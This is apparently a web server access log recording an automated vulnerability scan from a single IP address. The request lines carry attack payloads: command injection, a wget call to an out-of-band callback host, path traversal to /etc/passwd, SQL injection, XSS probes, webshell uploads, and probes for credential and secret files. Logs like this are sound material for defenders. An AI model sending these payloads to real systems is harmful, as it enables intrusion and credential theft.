[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/databases/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp/updateme/sinfor/ad/sys/sys_user.conf HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /websrvs/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sabnzbd/wizard/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/docker.yml HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/hana/xs/formLogin/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /irj/go/km/navigation/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|echo+bc9cda9eae000a692e4ef6ecb5fca8b4+>+3dGaQa.txt|cat HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inormalydonotexist HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WEB_VMS/LEVEL15/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0 HTTP/1.1" 199
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/settings.yml HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /EXCU_SHELL HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tool/log/c.php?strip_slashes=md5&host=380Cxy2N4cIIm8pcOFpdzLwRfvS HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arsys/shared/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /smb.conf HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //infophp.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/wdisp/admin/public/default.html HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1.txt HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/qmailadmin/qmailadmin HTTP/1.1" 199
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download.do?file=../../../../config.text HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/wwwctrl.cgi?action=home HTTP/1.1" 199
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/salesforce.js HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /(download)/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ddi/server/fileupload.php?uploadDir=upload&name=VJt4xo.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?torrent HTTP/1.1" 3426
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tool/view/phpinfo.view.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /roundcube/logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVersion HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //web/phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fileman/php/fileslist.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.2.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/admin/public/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tool/log/c.php?strip_slashes=system&host=ipconfig HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/bc/gui/sap/its/webgui HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /devel/iface/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sso/UI/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk:443.ppk HTTP/1.1" 199
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SASLogon/login HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prod/lib/php/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/movefile.php?f=%2Fapp%2FUploads%2F380CyGauroz3zvnOZzq1I6xqWvW.jpg&n=%2Fapp%2FUploads%2F380CyGauroz3zvnOZzq1I6xqWvW.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robomongo.json HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sws/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /selfenrollment/Enrollment.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.scrutinizer.yml HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api2/server-info/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fiori HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/mstrWeb/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 199
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search.php?searchtype=5 HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ruby/config/storage.yml HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SecMail/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/streams HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.s3cfg HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?plot=;wget%20http://d5g6sfahausljekepl207axcn6i73mdio.oast.site HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.sass-lint.yml HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E] HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /searchreplacedb2.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.kingston HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secret_token.rb HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /s/sfsites/aura HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?g=obj_app_upfile HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/configuration.yml HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?locale=en HTTP/1.1" 3426
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/wanstatu?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actpt_5g.data HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //apache-default/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/errors.log HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/sls/auth HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5(999999999)))),@`%27` HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?login HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /radiusmanager/user.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/db/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login_uid.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/group/x_group.php?id=1 HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sf/start HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/login/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Uploads/380CyGauroz3zvnOZzq1I6xqWvW.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci-generated.yml HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/assess/js/initDataAssess.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/CT920/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/main.do?method=login HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/createMysql.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /HelpTheHelpDesk.jsdbx HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/10.0.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/recovery/install/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/mstrWeb HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /irj/portal/fiori HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1.html HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servicedesk/customer/user/login HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999)+union+all+select+1,2,(md5(999999999)),4 HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /salesforce.js HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sftp-config.json HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/ext/trafaxserver/SystemManage/config.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(999999999),0x7e),1) HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /out/out.Login.php?referuri=%2Fout%2Fout.ViewFolder.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-console HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /deployment-config.json HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wd/hub HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /server/index.php?s=/api/user/login HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpldapadmin/cmd.php?cmd=template_engine&dn=%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&meth=ajax&server_id=1 HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rsso/admin/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/management/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Authentication/Login HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sfsites/aura HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /simplesaml/module.php/core/frontpage_welcome.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SystemManager/Account/SignIn HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs.txt HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/main.do?method=changeLocale HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /~sicom/mgrng/LoginForm.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sendgrid.env HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /keyinfo.html HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/putty.ppk HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php_info.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webcm?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /roundcube/logs/errors HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /scrm/crm/admin HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/qmailadmin HTTP/1.1" 199
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search.php?q=%3CScRipT%3Ealert(document.domain);%3C/ScRipT%3E HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /attachements/MDGrNY.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storage/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /localhost.key HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ddi/server/upload/VJt4xo.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /op/op.Login.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/systemConfig/management/3dGaQa.txt HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_pvt/service.pwd HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/settings.yml HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scriptcase/prod/lib/php/ HTTP/1.1" 196
